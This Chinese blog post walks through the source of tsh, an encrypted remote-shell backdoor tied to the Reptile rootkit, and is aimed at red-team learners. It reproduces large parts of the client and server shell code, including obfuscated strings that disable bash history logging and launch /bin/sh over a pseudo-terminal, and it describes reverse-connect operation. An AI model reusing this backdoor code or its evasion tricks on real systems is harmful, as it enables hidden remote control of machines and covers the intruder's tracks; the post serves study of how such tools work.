Tsh源码阅读和分析

tsh是一款轻量级远程shell工具,可在多个平台上编译运行,被集成在较为完善的Linux rootkit Reptile

  • 其实现了文件传输和真正的交互shell,交互全程用aes和sha1加密

  • 代码量比socat小,但很精巧,适合初级红队开发者进行学习

  • 本篇的关键在 tty和pty的设置与使用,其余涉及一点点信号网络多进程操作IO模型会简略提一下

0x00 目录结构

1
2
3
4
5
6
7
8
9
10
11
12
13
tsh
├── aes.c # aes加密算法实现
├── aes.h # aes头文件
├── ChangeLog
├── Makefile # makefile中带有多种系统的简单编译选项
├── pel.c # packet encrypt layer 报文加密的逻辑实现
├── pel.h # 报文加密头文件
├── README
├── sha1.c # sha1加密算法实现
├── sha1.h # sha1头文件
├── tsh.c # tsh客户端实现
├── tshd.c # tsh服务端实现
└── tsh.h # tsh头文件

0x01 主逻辑分析

为了保证加密传输,作者将加密逻辑抽象出来形成 pel.[ch](packet encrypt layer),对外提供4个接口,方便主逻辑调用

1
2
3
4
5
int pel_client_init( int server, char *key ); // 初始化client加密
int pel_server_init( int client, char *key ); // 初始化server加密

int pel_send_msg( int sockfd, unsigned char *msg, int length ); // 加密发送消息
int pel_recv_msg( int sockfd, unsigned char *msg, int *length ); // 解密接收消息

0x11 tsh client流程

通过指定参数,支持三种基本功能

  • 交互shell

  • 获取文件

  • 传输文件

tsh_client

  • 输入选项可以指定:IP or 反连、端口、密码、获取文件、发送文件,仅输入IP则默认动作(action)为连接远程shell

tsh_usage

  • 判断主被动连接
    • 主动连接,创建socket并bind绑定地址之后,主动使用connect连接远程server。
    • 被动连接,创建socket后bind地址,开启listen监听,使用accept等待连接到来
  • 连接到来后,先发送密码,若没有设置密码,则使用硬编码于代码中的默认密码,如果错误则需要用户手输,再次错误则认证失败。如果用-s设置了密码,错误则直接认证失败
  • 发送我们开头设置的动作(action),失败则调用shutdown关闭两端的socket
  • 根据我们的action调用不同功能函数,runshell模式中如果设置了命令,则仅执行该命令后便返回

0x12 tshd server流程

tshd_server主流程

tsh_server

  • process_init子流程

process_client

  • 基本参数

tshd_usage

  • server主流程使用fork,作用是保证进程后台运行,这样我们运行tshd的时候就不用手动加&符号令进程后台运行
  • while死循环处理到来连接。被动情况下等待client来连接我们,主动情况下如果连接不成功,则会等待5s,再次发起连接。连接成功时连接会交给process_client函数处理
  • 在process_client流程中,会使用创建孙进程并退出父、子进程的方法,令孙进程由init进程接管,达到避免出现僵尸进程的效果
1
2
3
4
5
6
7
8
9
10
11
12
13
/* setup the packet encryption layer */

alarm( 3 );

ret = pel_server_init( client, secret );

if( ret != PEL_SUCCESS )
{
shutdown( client, 2 );
return( 10 );
}
// 这里取消闹钟
alarm( 0 );
  • 上面代码中alarm(3)的作用是给当前进程设置一个3秒的时钟,如果pel_server_init处理太慢,则操作系统会发送一个SIGALRM信号中断此进程,达到合理关闭该进程的效果。alarm(0)的作用是 如果流程正常进行,则取消闹钟

0x02 关键函数分析

0x21 tsh_runshell 客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
int tsh_runshell( int server, char *argv2 )
{
fd_set rd;
char *term;
int ret, len, imf = 0;
struct winsize ws;
struct termios tp, tr;

/* send the TERM environment variable */
term = getenv( "TERM" );

if( term == NULL )
{
term = "vt100";
}
len = strlen( term );

ret = pel_send_msg( server, (unsigned char *) term, len );
if( ret != PEL_SUCCESS )
{
pel_error( "pel_send_msg" );
return( 22 );
}

// 判断当前文件描述符0是否指的是一个终端,是则返回1
if( isatty( 0 ) )
{
// 交互shell模式
imf = 1;

// ioctl能够对不同设备进行操作
// 这里是获取终端设备的窗口大小保存在ws中,用于传输给server
if( ioctl( 0, TIOCGWINSZ, &ws ) < 0 )
{
perror( "ioctl(TIOCGWINSZ)" );
return( 23 );
}
}
else
{
// 默认窗口大小
ws.ws_row = 25;
ws.ws_col = 80;
}

// 把窗口大小数据填充到前四个char类型中,发给server处理
message[0] = ( ws.ws_row >> 8 ) & 0xFF;
message[1] = ( ws.ws_row ) & 0xFF;

message[2] = ( ws.ws_col >> 8 ) & 0xFF;
message[3] = ( ws.ws_col ) & 0xFF;

ret = pel_send_msg( server, message, 4 );
if( ret != PEL_SUCCESS )
{
pel_error( "pel_send_msg" );
return( 24 );
}

/* send the system command */
len = strlen( argv2 );

ret = pel_send_msg( server, (unsigned char *) argv2, len );
if( ret != PEL_SUCCESS )
{
pel_error( "pel_send_msg" );
return( 25 );
}

/* set the tty to RAW */
// 判断文件描述符 1是否为tty
if( isatty( 1 ) )
{
// 获取文件描述符 1的属性,存储到tp中,以便后期还原
if( tcgetattr( 1, &tp ) < 0 )
{
perror( "tcgetattr" );
return( 26 );
}

// 把tp拷贝到tr中,我们后续修改就用tr
memcpy( (void *) &tr, (void *) &tp, sizeof( tr ) );

// 设置terminal属性
tr.c_iflag |= IGNPAR;
tr.c_iflag &= ~(ISTRIP|INLCR|IGNCR|ICRNL|IXON|IXANY|IXOFF);
tr.c_lflag &= ~(ISIG|ICANON|ECHO|ECHOE|ECHOK|ECHONL|IEXTEN);
tr.c_oflag &= ~OPOST;

tr.c_cc[VMIN] = 1;
tr.c_cc[VTIME] = 0;

// 设置文件描述符 1的属性
if( tcsetattr( 1, TCSADRAIN, &tr ) < 0 )
{
perror( "tcsetattr" );
return( 27 );
}
}

// select多路复用模型 收发数据
while( 1 )
{
// 清空rd集合
FD_ZERO( &rd );

if( imf != 0 )
{
// 如果是交互模式,那么把标准输入放到rd集合中
FD_SET( 0, &rd );
}
// 把server标识符放到rd集合中
FD_SET( server, &rd );

// select系统调用
// 当rd中某个被置入的标识符出现可读数据时解除阻塞
if( select( server + 1, &rd, NULL, NULL, NULL ) < 0 )
{
perror( "select" );
ret = 28;
break;
}

// 判断出现可读数据的是否为server标识符
// 处理server返回信息
if( FD_ISSET( server, &rd ) )
{
// 接收server数据
ret = pel_recv_msg( server, message, &len );

if( ret != PEL_SUCCESS )
{
if( pel_errno == PEL_CONN_CLOSED )
{
ret = 0;
}
else
{
pel_error( "pel_recv_msg" );
ret = 29;
}
break;
}

// 将数据写入标准输出标识符(即显示到控制台)
if( write( 1, message, len ) != len )
{
perror( "write" );
ret = 30;
break;
}
}

// 判断出现可读数据的是否为标准输入标识符(即用户输入)
// 处理用户输入
if( imf != 0 && FD_ISSET( 0, &rd ) )
{
// 读取用户的输入到message
len = read( 0, message, BUFSIZE );

if( len == 0 )
{
fprintf( stderr, "stdin: end-of-file\n" );
ret = 31;
break;
}

if( len < 0 )
{
perror( "read" );
ret = 32;
break;
}

// 发送给server
ret = pel_send_msg( server, message, len );

if( ret != PEL_SUCCESS )
{
pel_error( "pel_send_msg" );
ret = 33;
break;
}
}
}

// 恢复之前的terminal数据
if( isatty( 1 ) )
{
tcsetattr( 1, TCSADRAIN, &tp );
}

return( ret );
}

0x22 tshd_runshell 服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
int tshd_runshell( int client )
{
fd_set rd;
struct winsize ws;
char *slave, *temp, *shell;
int ret, len, pid, pty, tty, n;

// 获取一个伪终端 pseudo-tty
// 这里用宏在编译的时候做了跨平台的处理,实现功能相同,我们当前暂时关心Linux部分

#if defined LINUX || defined FREEBSD || defined OPENBSD || defined OSF

// 自动获取一个伪终端,在/dev/pts下最大值 + 1
if( openpty( &pty, &tty, NULL, NULL, NULL ) < 0 )
{
return( 24 );
}

// 获取当前伪终端的完整路径
slave = ttyname( tty );

if( slave == NULL )
{
return( 25 );
}

#else
#if defined IRIX

slave = _getpty( &pty, O_RDWR, 0622, 0 );

if( slave == NULL )
{
return( 26 );
}

tty = open( slave, O_RDWR | O_NOCTTY );

if( tty < 0 )
{
return( 27 );
}

#else
#if defined CYGWIN || defined SUNOS || defined HPUX

pty = open( "/dev/ptmx", O_RDWR | O_NOCTTY );

if( pty < 0 )
{
return( 28 );
}

if( grantpt( pty ) < 0 )
{
return( 29 );
}

if( unlockpt( pty ) < 0 )
{
return( 30 );
}

slave = ptsname( pty );

if( slave == NULL )
{
return( 31 );
}

tty = open( slave, O_RDWR | O_NOCTTY );

if( tty < 0 )
{
return( 32 );
}

#if defined SUNOS || defined HPUX

if( ioctl( tty, I_PUSH, "ptem" ) < 0 )
{
return( 33 );
}

if( ioctl( tty, I_PUSH, "ldterm" ) < 0 )
{
return( 34 );
}

#if defined SUNOS

if( ioctl( tty, I_PUSH, "ttcompat" ) < 0 )
{
return( 35 );
}

#endif
#endif
#endif
#endif
#endif

/* just in case bash is run, kill the history file */

temp = (char *) malloc( 10 );

if( temp == NULL )
{
return( 36 );
}

temp[0] = 'H'; temp[5] = 'I';
temp[1] = 'I'; temp[6] = 'L';
temp[2] = 'S'; temp[7] = 'E';
temp[3] = 'T'; temp[8] = '=';
temp[4] = 'F'; temp[9] = '\0';

// 将环境变量HISTFILE置空,让/root/.bash_history不记录我们的shell操作
putenv( temp );

// 获取client端的Term环境变量
ret = pel_recv_msg( client, message, &len );
if( ret != PEL_SUCCESS )
{
return( 37 );
}
message[len] = '\0';

temp = (char *) malloc( len + 6 );
if( temp == NULL )
{
return( 38 );
}

temp[0] = 'T'; temp[3] = 'M';
temp[1] = 'E'; temp[4] = '=';
temp[2] = 'R';

strncpy( temp + 5, (char *) message, len + 1 );

putenv( temp );

/* 获取terminal的row和col大小 */
ret = pel_recv_msg( client, message, &len );
if( ret != PEL_SUCCESS || len != 4 )
{
return( 39 );
}

ws.ws_row = ( (int) message[0] << 8 ) + (int) message[1];
ws.ws_col = ( (int) message[2] << 8 ) + (int) message[3];

ws.ws_xpixel = 0;
ws.ws_ypixel = 0;

// 设置当前伪终端的宽高
if( ioctl( pty, TIOCSWINSZ, &ws ) < 0 )
{
return( 40 );
}

// 获取client传输的命令
ret = pel_recv_msg( client, message, &len );
if( ret != PEL_SUCCESS )
{
return( 41 );
}
message[len] = '\0';

temp = (char *) malloc( len + 1 );
if( temp == NULL )
{
return( 42 );
}

strncpy( temp, (char *) message, len + 1 );

// fork,使用子进程后台运行shell
pid = fork();

if( pid < 0 )
{
return( 43 );
}

// 子进程用来作为shell
if( pid == 0 )
{
// fork会复制进程内的公有变量,子进程主要是作为后台shell执行命令并返回值给父进程,父进程用来管理pty和client通信,所以这里不需要client和pty
close( client );
close( pty );

// 创建session,新建进程组,防止terminal退出导致进程的死亡
if( setsid() < 0 )
{
return( 44 );
}

/* set controlling tty, to have job control */

#if defined LINUX || defined FREEBSD || defined OPENBSD || defined OSF
// 读取指定终端设备进程的组id
if( ioctl( tty, TIOCSCTTY, NULL ) < 0 )
{
return( 45 );
}

#else
#if defined CYGWIN || defined SUNOS || defined IRIX || defined HPUX

{
int fd;

fd = open( slave, O_RDWR );

if( fd < 0 )
{
return( 46 );
}

close( tty );

tty = fd;
}

#endif
#endif

// 将标准输入、输出、错误输出复制到tty中
dup2( tty, 0 );
dup2( tty, 1 );
dup2( tty, 2 );

if( tty > 2 )
{
close( tty );
}

// 命令字符串开辟空间
shell = (char *) malloc( 8 );
if( shell == NULL )
{
return( 47 );
}

// "/bin/sh"
shell[0] = '/'; shell[4] = '/';
shell[1] = 'b'; shell[5] = 's';
shell[2] = 'i'; shell[6] = 'h';
shell[3] = 'n'; shell[7] = '\0';

// 当前子进程装载为/bin/sh shell
execl( shell, shell + 5, "-c", temp, (char *) 0 );

/* d0h, this shouldn't happen */

return( 48 );
}
else // 父进程,接收消息给后台sh作为转发
{
/* tty (slave side) not needed anymore */

close( tty );

// select多路复用模型 收发数据
while( 1 )
{
FD_ZERO( &rd );
FD_SET( client, &rd );
FD_SET( pty, &rd );

n = ( pty > client ) ? pty : client;

if( select( n + 1, &rd, NULL, NULL, NULL ) < 0 )
{
return( 49 );
}

// 父进程接收来自client消息
if( FD_ISSET( client, &rd ) )
{
ret = pel_recv_msg( client, message, &len );

if( ret != PEL_SUCCESS )
{
return( 50 );
}

// 直接把收到的消息写给pty
if( write( pty, message, len ) != len )
{
return( 51 );
}
}

// sh有消息写给父进程,那么父进程直接把消息发送给client
if( FD_ISSET( pty, &rd ) )
{
// 从pty拿到后台tty执行命令后的返回值
len = read( pty, message, BUFSIZE );

if( len == 0 ) break;

if( len < 0 )
{
return( 52 );
}

// 发送给client
ret = pel_send_msg( client, message, len );
if( ret != PEL_SUCCESS )
{
return( 53 );
}
}
}

return( 54 );
}

/* not reached */

return( 55 );
}

0x03 技术分析

0x31 ptytty 数据传导

  • 二者为主从关系,pty (master),tty (slave)

  • 伪终端的出现是因为一些面向终端应用的输入(或输出)不再直接来自(或去往)实际终端

  • 伪终端是一对虚拟的字符设备,linux内核使用一种符合tty线规程(line discipline)的双向管道连接伪终端的主从设备

  • 主设备上的任何写入操作都会反映到从设备上,反之亦然,从设备上的应用进程可以像使用传统终端一样读取来自主设备上应用程序的输入,以及向主设备应用输出信息

  • 伪终端从设备应用通常是主设备应用的子进程,主应用打开一对伪终端并fork一个子进程,然后子进程打开并使用从设备,伪终端应用的实现模型可用下图表示

pty_tty_model

0x32 select IO多路复用模型

  • select多路复用模型是Linux中三种多路复用模型之一
    • 主要采取轮询文件标识符集合的模式,来达到高效率io目的
    • 主要适用于少量且活性高的标识符
    • select可以设置读、写、异常集合
  • 这里使用的目的:使用单线程来完成多个并发连接请求
    • 其实也能够用多线程来处理,即每次来一个连接请求,我们就开启一个线程去处理后续逻辑
  • tsh的做法:一开始清空集合,然后将需要的文件标识符放入读集合中,再调用select同时设置最大文件标识符,这样select会在0~Max之间遍历所有标识符

fd_set

  • 当读集合中某个fd存在事件,那么select系统调用将会返回

select_action

  • 然后使用FD_ISSET,判断事件集合中本次存在事件的标识符具体是哪一个,处理其后续逻辑

select_process

0x04 总结

  1. Everything is file

  2. 宏的使用,做到跨平台,Linux系统编程基本方法

  3. 主动创建孤儿进程,避免出现僵尸进程

  4. tty和pty的使用做到了真正的交互shell

    1. 这里说一下python shell,其连接后使用pty.spawn("/bin/bash")交互shell其实依然为某种程度哑shell,无法完成某些高交互进程(如:vim)的使用,需要进一步升级

    python_dumb_shell

  5. 设置窗口大小,控制返回值窗口

  6. 存在bug,输入./tshd asdf后台会一直创建进程,最终跑死机器

0x05 参考资料

[1] termios

[2] What’s the difference between various $TERM variables?

[3] 理解 Linux 中的 tty、pty、pts、console、terminal

[4] Why do I need to run “/bin/bash –login”

[5] Linux基础之终端、控制台、tty、pty简介说明

[6] Linux终端简介与pty编程

[7] 彻底理解 IO 多路复用实现机制

[8] Linux下的权限维持

[9] tinyhttpd 阅读与分析


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!